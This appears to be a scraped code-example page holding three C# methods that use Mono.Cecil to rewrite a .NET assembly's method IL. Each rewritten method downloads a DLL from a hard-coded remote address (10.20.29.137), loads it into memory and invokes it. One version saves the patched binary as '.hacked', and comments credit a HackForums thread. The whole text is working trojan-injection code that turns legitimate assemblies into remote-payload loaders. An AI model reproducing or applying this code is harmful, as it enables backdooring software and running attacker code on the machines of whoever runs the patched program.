Ejemplo n.º 1
0
        private void injectShell(MethodDefinition m1, Type classT, MethodInfo methodT, string payloadURI, string payloadMethod, string payloadClass)
        {
            //Heavily modified, but based on
            //HackForums by a guy called TheBigDamnGa
            //https://hackforums.net/showthread.php?tid=5924760

            ILProcessor ilp = m1.Body.GetILProcessor();

            //Remove All code and variables
            m1.Body.Instructions.Clear();
            m1.Body.Variables.Clear();
            m1.Body.ExceptionHandlers.Clear();

            //Used to just remove the ret but I'm not sure if adding variables will f**k shit up so im clearing everything for now
            //ilp.Remove(m1.Body.Instructions[m1.Body.Instructions.Count-1]);

            // Initialize References
            References refs = new References();

            refs.uint8      = m1.Module.ImportReference(typeof(byte[]));
            refs.Assembly   = m1.Module.ImportReference(typeof(Assembly));
            refs.MethodInfo = m1.Module.ImportReference(typeof(MethodInfo));
            refs.var        = m1.Module.ImportReference(typeof(object));
            refs.boolean    = m1.Module.ImportReference(typeof(bool));
            refs.var_array  = m1.Module.ImportReference(typeof(object[]));
            refs.int32      = m1.Module.ImportReference(typeof(int));
            refs.Exception  = m1.Module.ImportReference(typeof(Exception));

            refs.WebClientCtor          = m1.Module.ImportReference(typeof(WebClient).GetConstructor(new Type[] { }));
            refs.WebClient_DownloadData = m1.Module.ImportReference(typeof(WebClient).GetMethod("DownloadData", new Type[] { typeof(string) }));

            refs.Assembly_Load           = m1.Module.ImportReference(typeof(Assembly).GetMethod("Load", new Type[] { typeof(sbyte[]) }));
            refs.Assembly_getEntryPoint  = m1.Module.ImportReference(typeof(Assembly).GetMethod("get_EntryPoint", new Type[] { }));
            refs.Assembly_CreateInstance = m1.Module.ImportReference(typeof(Assembly).GetMethod("CreateInstance", new Type[] { typeof(string) }));

            refs.MemberInfo_getName = m1.Module.ImportReference(typeof(MemberInfo).GetMethod("get_Name", new Type[] { }));

            refs.MethodBase_GetParameters = m1.Module.ImportReference(typeof(MethodBase).GetMethod("GetParameters", new Type[] { }));
            refs.MethodBase_Invoke        = m1.Module.ImportReference(typeof(MethodBase).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) }));


            m1.Body.InitLocals = true;
            m1.Body.Variables.Add(new VariableDefinition(refs.uint8));
            //Remote Class Instance Variable
            m1.Body.Variables.Add(new VariableDefinition(refs.var));
            //Remote class Type Variable
            m1.Body.Variables.Add(new VariableDefinition(m1.Module.ImportReference(typeof(Type))));
            m1.Body.Variables.Add(new VariableDefinition(refs.var));

            var evilRemoteBytesVar      = m1.Body.Variables.ElementAt(0);
            var instantiatedEvilTypeVar = m1.Body.Variables.ElementAt(1);
            var typeVariable            = m1.Body.Variables.ElementAt(2);
            var someResultObjectVar     = m1.Body.Variables.ElementAt(3);

            ilp.Append(Instruction.Create(OpCodes.Nop));
            ilp.Append(Instruction.Create(OpCodes.Nop));

            Instruction RETI = Instruction.Create(OpCodes.Ret);
            Instruction POPI = Instruction.Create(OpCodes.Pop);
            Instruction NOPI = Instruction.Create(OpCodes.Nop);

            ilp.Append(Instruction.Create(OpCodes.Nop));

            //ilp.Append(ilp.Create (OpCodes.Ldstr, "INJECTED EVIL"));
            //ilp.Append(ilp.Create (OpCodes.Call, m1.Module.ImportReference (typeof (Console).GetMethod ("WriteLine", new [] { typeof (string) }))));

            //Download DLL
            ilp.Append(Instruction.Create(OpCodes.Nop));
            ilp.Append(Instruction.Create(OpCodes.Newobj, m1.Module.ImportReference(typeof(WebClient).GetConstructor(new Type[] { }))));
            ilp.Append(Instruction.Create(OpCodes.Ldstr, payloadURI));
            ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference(typeof(WebClient).GetMethod("DownloadData", new Type[] { typeof(string) }))));
            ilp.Append(Instruction.Create(OpCodes.Stloc_0));

            //Load into memory
            ilp.Append(Instruction.Create(OpCodes.Ldloc_0));
            ilp.Append(Instruction.Create(OpCodes.Call, refs.Assembly_Load));

            //Create instance of class
            ilp.Append(Instruction.Create(OpCodes.Ldstr, payloadClass));
            ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference(typeof(Assembly).GetMethod("CreateInstance", new Type[] { typeof(string) }))));
            ilp.Append(Instruction.Create(OpCodes.Stloc_S, instantiatedEvilTypeVar));
            //ilp.Append(Instruction.Create(OpCodes.Stloc_1));

            //Load type of class in order to call method
            ilp.Append(Instruction.Create(OpCodes.Ldloc_1));
            ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference(typeof(object).GetMethod("GetType", new Type[] {}))));
            //Type is now on stack...

            //Call method in class with Type.InvokeMember
            ilp.Append(ilp.Create(OpCodes.Ldstr, payloadMethod));
            ilp.Append(ilp.Create(OpCodes.Ldc_I4, 0x100));
            ilp.Append(ilp.Create(OpCodes.Ldnull));
            ilp.Append(ilp.Create(OpCodes.Ldloc_1));
            ilp.Append(ilp.Create(OpCodes.Ldnull));

            ilp.Append(ilp.Create(OpCodes.Callvirt,
                                  m1.Module.ImportReference(
                                      typeof(Type).GetMethod("InvokeMember",
                                                             new Type[] {
                typeof(string),
                typeof(BindingFlags),
                typeof(Binder),
                typeof(object),
                typeof(object[])
            })
                                      )
                                  )
                       );

            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Pop));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));

            //ilp.Append(ilp.Create (OpCodes.Ldstr, "Wattefok dit werk nou bra"));
            //ilp.Append(ilp.Create (OpCodes.Call, m1.Module.ImportReference (typeof (Console).GetMethod ("WriteLine", new [] { typeof (string) }))));

            ilp.Append(Instruction.Create(OpCodes.Nop));

            //Add our new ret
            ilp.Append(RETI);
            return;
        }
Ejemplo n.º 2
0
        //This is from HackForums by a guy called TheBigDamnGa
        //https://hackforums.net/showthread.php?tid=5924760
        private bool injectBadStuffLame(Module moduleT, Type classT, MethodInfo methodT)
        {
            AssemblyDefinition targetAsm  = AssemblyDefinition.ReadAssembly(moduleT.Assembly.Location);
            TypeDefinition     targetType = targetAsm.MainModule.Types.FirstOrDefault(e => e.Name == classT.Name);
            MethodDefinition   m1         = targetType.Methods.FirstOrDefault(x => x.Name == methodT.Name);

            // Initialize References
            References refs = new References();

            refs.uint8      = targetAsm.MainModule.ImportReference(typeof(byte[]));
            refs.Assembly   = targetAsm.MainModule.ImportReference(typeof(Assembly));
            refs.MethodInfo = targetAsm.MainModule.ImportReference(typeof(MethodInfo));
            refs.var        = targetAsm.MainModule.ImportReference(typeof(object));
            refs.boolean    = targetAsm.MainModule.ImportReference(typeof(bool));
            refs.var_array  = targetAsm.MainModule.ImportReference(typeof(object[]));
            refs.int32      = targetAsm.MainModule.ImportReference(typeof(int));
            refs.Exception  = targetAsm.MainModule.ImportReference(typeof(Exception));

            refs.WebClientCtor          = targetAsm.MainModule.ImportReference(typeof(WebClient).GetConstructor(new Type[] { }));
            refs.WebClient_DownloadData = targetAsm.MainModule.ImportReference(typeof(WebClient).GetMethod("DownloadData", new Type[] { typeof(string) }));

            refs.Assembly_Load           = targetAsm.MainModule.ImportReference(typeof(Assembly).GetMethod("Load", new Type[] { typeof(sbyte[]) }));
            refs.Assembly_getEntryPoint  = targetAsm.MainModule.ImportReference(typeof(Assembly).GetMethod("get_EntryPoint", new Type[] { }));
            refs.Assembly_CreateInstance = targetAsm.MainModule.ImportReference(typeof(Assembly).GetMethod("CreateInstance", new Type[] { typeof(string) }));

            refs.MemberInfo_getName = targetAsm.MainModule.ImportReference(typeof(MemberInfo).GetMethod("get_Name", new Type[] { }));

            refs.MethodBase_GetParameters = targetAsm.MainModule.ImportReference(typeof(MethodBase).GetMethod("GetParameters", new Type[] { }));
            refs.MethodBase_Invoke        = targetAsm.MainModule.ImportReference(typeof(MethodBase).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) }));

            // Insert Variables
            m1.Body.Variables.Insert(0, new VariableDefinition(refs.uint8));
            m1.Body.Variables.Insert(1, new VariableDefinition(refs.Assembly));
            m1.Body.Variables.Insert(2, new VariableDefinition(refs.MethodInfo));
            m1.Body.Variables.Insert(3, new VariableDefinition(refs.var));
            m1.Body.Variables.Insert(4, new VariableDefinition(refs.boolean));
            m1.Body.Variables.Insert(5, new VariableDefinition(refs.var_array));
            m1.Body.Variables.Insert(6, new VariableDefinition(refs.int32));
            m1.Body.Variables.Insert(7, new VariableDefinition(refs.boolean));

            var Var_4 = m1.Body.Variables.ElementAt(4);
            var Var_5 = m1.Body.Variables.ElementAt(5);
            var Var_6 = m1.Body.Variables.ElementAt(6);
            var Var_7 = m1.Body.Variables.ElementAt(7);

            // Instructions
            Instruction NOP_0x48   = Instruction.Create(OpCodes.Nop);
            Instruction NOP_0x88   = Instruction.Create(OpCodes.Nop);
            Instruction NOP_0x5D   = Instruction.Create(OpCodes.Nop);
            Instruction POP_0x8B   = Instruction.Create(OpCodes.Pop);
            Instruction LDLOC_0x6B = Instruction.Create(OpCodes.Ldloc_S, Var_6);
            Instruction RET_0x90   = Instruction.Create(OpCodes.Ret);

            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));

            ExceptionHandler handler = new ExceptionHandler(ExceptionHandlerType.Catch)
            {
                TryStart     = m1.Body.Instructions.ElementAt(1),
                TryEnd       = POP_0x8B,
                HandlerStart = POP_0x8B,
                HandlerEnd   = RET_0x90,
                CatchType    = refs.Exception
            };

            m1.Body.ExceptionHandlers.Add(handler);

            // Try
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Newobj, refs.WebClientCtor));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldstr, "http://10.20.29.137/HELLOWORLD")); // URL_OF_EXE
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Call, refs.WebClient_DownloadData));

            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_0));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_0));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Call, refs.Assembly_Load));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_1));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_1));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.Assembly_getEntryPoint));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_2));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_1));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MemberInfo_getName));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.Assembly_CreateInstance));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_3));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_GetParameters));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldlen));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_0));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ceq));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_4));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_4));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Brfalse_S, NOP_0x48));

            // If
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_3));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldnull));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_Invoke));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Pop));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Br_S, NOP_0x88));

            // Else
            m1.Body.Instructions.Add(NOP_0x48);
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_GetParameters));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldlen));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Conv_I4));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Newarr, refs.var));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_5));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_0));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_6));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Br_S, LDLOC_0x6B));
            m1.Body.Instructions.Add(NOP_0x5D);
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_5));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_6));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldnull));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stelem_Ref));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_6));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_1));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Add));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_6));

            // For-Loop
            m1.Body.Instructions.Add(LDLOC_0x6B);
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_GetParameters));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldlen));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Conv_I4));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Clt));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_7));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_7));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Brtrue_S, NOP_0x5D));

            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_3));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_5));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_Invoke));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Pop));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));
            m1.Body.Instructions.Add(NOP_0x88);

            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Leave_S, RET_0x90));

            // Catch
            m1.Body.Instructions.Add(POP_0x8B);
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Leave_S, RET_0x90));

            // Return
            m1.Body.Instructions.Add(RET_0x90);

            targetAsm.Write(moduleT.Assembly.FullName + ".hacked");

            return(new Random(DateTime.Now.Millisecond).Next() > (DateTime.Now.Millisecond / 2));
        }
Ejemplo n.º 3
0
        private void injectShell(MethodDefinition m1)
        {
            ILProcessor ilp = m1.Body.GetILProcessor();

            //Remove All code and variables
            m1.Body.Instructions.Clear();
            m1.Body.Variables.Clear();
            m1.Body.ExceptionHandlers.Clear();

            //Used to just remove the ret but I'm not sure if adding variables will f**k shit up so im clear everything now
            //ilp.Remove(m1.Body.Instructions[m1.Body.Instructions.Count-1]);

            // Initialize References
            References refs = new References();

            refs.uint8      = m1.Module.ImportReference(typeof(byte[]));
            refs.Assembly   = m1.Module.ImportReference(typeof(Assembly));
            refs.MethodInfo = m1.Module.ImportReference(typeof(MethodInfo));
            refs.var        = m1.Module.ImportReference(typeof(object));
            refs.boolean    = m1.Module.ImportReference(typeof(bool));
            refs.var_array  = m1.Module.ImportReference(typeof(object[]));
            refs.int32      = m1.Module.ImportReference(typeof(int));
            refs.Exception  = m1.Module.ImportReference(typeof(Exception));

            refs.WebClientCtor          = m1.Module.ImportReference(typeof(WebClient).GetConstructor(new Type[] { }));
            refs.WebClient_DownloadData = m1.Module.ImportReference(typeof(WebClient).GetMethod("DownloadData", new Type[] { typeof(string) }));

            refs.Assembly_Load           = m1.Module.ImportReference(typeof(Assembly).GetMethod("Load", new Type[] { typeof(sbyte[]) }));
            refs.Assembly_getEntryPoint  = m1.Module.ImportReference(typeof(Assembly).GetMethod("get_EntryPoint", new Type[] { }));
            refs.Assembly_CreateInstance = m1.Module.ImportReference(typeof(Assembly).GetMethod("CreateInstance", new Type[] { typeof(string) }));

            refs.MemberInfo_getName = m1.Module.ImportReference(typeof(MemberInfo).GetMethod("get_Name", new Type[] { }));

            refs.MethodBase_GetParameters = m1.Module.ImportReference(typeof(MethodBase).GetMethod("GetParameters", new Type[] { }));
            refs.MethodBase_Invoke        = m1.Module.ImportReference(typeof(MethodBase).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) }));


            m1.Body.InitLocals = true;
            m1.Body.Variables.Add(new VariableDefinition(refs.uint8));
            //Remote Class Instance Variable
            m1.Body.Variables.Add(new VariableDefinition(refs.var));
            //Remote class Type Variable
            m1.Body.Variables.Add(new VariableDefinition(m1.Module.ImportReference(typeof(Type))));
            m1.Body.Variables.Add(new VariableDefinition(refs.var));

            var evilRemoteBytesVar      = m1.Body.Variables.ElementAt(0);
            var instantiatedEvilTypeVar = m1.Body.Variables.ElementAt(1);
            var typeVariable            = m1.Body.Variables.ElementAt(2);
            var someResultObjectVar     = m1.Body.Variables.ElementAt(3);

            ilp.Append(Instruction.Create(OpCodes.Nop));
            ilp.Append(Instruction.Create(OpCodes.Nop));

            Instruction RETI = Instruction.Create(OpCodes.Ret);
            Instruction POPI = Instruction.Create(OpCodes.Pop);
            Instruction NOPI = Instruction.Create(OpCodes.Nop);

            ilp.Append(Instruction.Create(OpCodes.Nop));

            ilp.Append(ilp.Create(OpCodes.Ldstr, "INJECTED EVIL"));
            ilp.Append(ilp.Create(OpCodes.Call, m1.Module.ImportReference(typeof(Console).GetMethod("WriteLine", new [] { typeof(string) }))));
            //Download DLL
            ilp.Append(Instruction.Create(OpCodes.Nop));
            ilp.Append(Instruction.Create(OpCodes.Newobj, m1.Module.ImportReference(typeof(WebClient).GetConstructor(new Type[] { }))));
            ilp.Append(Instruction.Create(OpCodes.Ldstr, "http://10.20.29.137:8000/HELLOWORLD"));
            ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference(typeof(WebClient).GetMethod("DownloadData", new Type[] { typeof(string) }))));
            ilp.Append(Instruction.Create(OpCodes.Stloc_0));

            //Load into memory
            ilp.Append(Instruction.Create(OpCodes.Ldloc_0));
            ilp.Append(Instruction.Create(OpCodes.Call, refs.Assembly_Load));

            //Create instance of class
            ilp.Append(Instruction.Create(OpCodes.Ldstr, "testlibrary.Testclass"));
            ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference(typeof(Assembly).GetMethod("CreateInstance", new Type[] { typeof(string) }))));
            ilp.Append(Instruction.Create(OpCodes.Stloc_S, instantiatedEvilTypeVar));
            //ilp.Append(Instruction.Create(OpCodes.Stloc_1));

            //Load type of class in order to call method
            ilp.Append(Instruction.Create(OpCodes.Ldloc_1));
            ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference(typeof(object).GetMethod("GetType", new Type[] {}))));
            //Type is now on stack...

            //Might not have to store the object, but fuckit store it
            //ilp.Append(Instruction.Create(OpCodes.Stloc_2));
            //Works until above
            //Load object instance
            //ilp.Append(ilp.Create(OpCodes.Ldloc_2));

            //Call method in class with Type.Invoke
            ilp.Append(ilp.Create(OpCodes.Ldstr, "CallBad"));
            ilp.Append(ilp.Create(OpCodes.Ldc_I4, 0x100));
            ilp.Append(ilp.Create(OpCodes.Ldnull));
            ilp.Append(ilp.Create(OpCodes.Ldloc_1));
            ilp.Append(ilp.Create(OpCodes.Ldnull));
            //instance.GetType().InvokeMember("FlapMethod",BindingFlags.InvokeMethod,null,instance,null);
            ilp.Append(ilp.Create(OpCodes.Callvirt,
                                  m1.Module.ImportReference(
                                      typeof(Type).GetMethod("InvokeMember",
                                                             new Type[] {
                typeof(string),
                typeof(BindingFlags),
                typeof(Binder),
                typeof(object),
                typeof(object[])
            })
                                      )
                                  )
                       );

            //ilp.Append(ilp.Create(OpCodes.Stloc_3));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Pop));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));

            //uncommentilp.Append(Instruction.Create(OpCodes.Ldloc_S, instantiatedEvilTypeVar));
            //Check for null
            //ilp.Append(Instruction.Create(OpCodes.Ldnull));
            //ilp.Append(Instruction.Create(OpCodes.Ceq));


            //ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference (typeof (object).GetMethod ("GetType", new Type[] {}))));

            ilp.Append(ilp.Create(OpCodes.Ldstr, "Wattefok dit werk nou bra"));
            ilp.Append(ilp.Create(OpCodes.Call, m1.Module.ImportReference(typeof(Console).GetMethod("WriteLine", new [] { typeof(string) }))));


            ilp.Append(Instruction.Create(OpCodes.Nop));
            //Works until above
            //ilp.Append(Instruction.Create(OpCodes.Ldloc_1,instantiatedEvilType));
            //ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference (typeof (object).GetMethod ("GetType", new Type[] {}))));

            //ilp.Append(ilp.Create(OpCodes.Ldstr,"TestMethod"));
            //ilp.Append(ilp.Create(OpCodes.Ldc_I4,0x100));
            //ilp.Append(ilp.Create(OpCodes.Ldnull));
            //ilp.Append(ilp.Create(OpCodes.Ldloc_1));
            //ilp.Append(ilp.Create(OpCodes.Ldnull));
            //ilp.Append(ilp.Create(OpCodes.Callvirt,m1.Module.ImportReference(typeof(MethodBase).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) }))));

            //Add our new ret
            ilp.Append(RETI);
            return;


            /*
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Call, refs.Assembly_Load));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_1));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_1));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.Assembly_getEntryPoint));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_2));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_1));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MemberInfo_getName));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.Assembly_CreateInstance));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_3));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_GetParameters));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldlen));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_0));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ceq));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_4));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_4));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Brfalse_S, NOP_0x48));
             *
             * // If
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_3));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldnull));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_Invoke));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Pop));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Br_S, NOP_0x88));
             *
             * // Else
             * m1.Body.Instructions.Add(NOP_0x48);
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_GetParameters));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldlen));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Conv_I4));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Newarr, refs.var));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_5));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_0));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_6));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Br_S, LDLOC_0x6B));
             * m1.Body.Instructions.Add(NOP_0x5D);
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_5));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_6));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldnull));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stelem_Ref));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_6));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_1));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Add));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_6));
             *
             * // For-Loop
             * m1.Body.Instructions.Add(LDLOC_0x6B);
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_GetParameters));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldlen));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Conv_I4));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Clt));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_7));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_7));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Brtrue_S, NOP_0x5D));
             *
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_3));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_5));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_Invoke));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Pop));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));
             * m1.Body.Instructions.Add(NOP_0x88);*/

            //m1.Body.Instructions.Add(Instruction.Create(OpCodes.Leave_S, RET_0x90));

            // Catch
            //m1.Body.Instructions.Add(POP_0x8B);
            //m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));
            //m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));
            //m1.Body.Instructions.Add(Instruction.Create(OpCodes.Leave_S, RET_0x90));

            // Return
            //m1.Body.Instructions.Add(RET_0x90);
        }